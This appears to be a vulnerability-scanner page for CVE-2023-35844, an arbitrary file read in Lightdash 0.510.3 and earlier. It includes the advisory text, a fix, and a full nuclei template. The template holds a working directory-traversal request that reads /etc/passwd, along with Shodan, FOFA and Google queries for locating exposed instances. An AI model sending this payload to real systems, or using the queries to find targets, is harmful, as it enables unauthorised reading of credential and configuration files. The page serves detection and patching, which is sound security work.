Lightdash version <= 0.510.3 Arbitrary File Read

highseverity

7.5CVSS score

6.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

packages/backend/src/routers in Lightdash before 0.510.3 has insecure file endpoints, e.g., they allow .. directory traversal and do not ensure that an intended file extension (.csv or .png) is used.

Impact

The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database credentials, and other confidential data.

Fix

Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-35844 -u <target>

The full check

id: CVE-2023-35844

info:
  name: Lightdash version <= 0.510.3 Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    packages/backend/src/routers in Lightdash before 0.510.3
    has insecure file endpoints, e.g., they allow .. directory
    traversal and do not ensure that an intended file extension
    (.csv or .png) is used.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database credentials, and other confidential data.
  remediation: |
    Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35844
    - https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c
    - https://github.com/lightdash/lightdash/compare/0.510.2...0.510.3
    - https://github.com/lightdash/lightdash/pull/5090
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35844
    cwe-id: CWE-22
    epss-score: 0.06344
    epss-percentile: 0.93691
    cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lightdash
    product: lightdash
    shodan-query:
      - title:"Lightdash"
      - http.title:"lightdash"
    fofa-query: title="lightdash"
    google-query: intitle:"lightdash"
  tags: cve,cve2023,lightdash,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from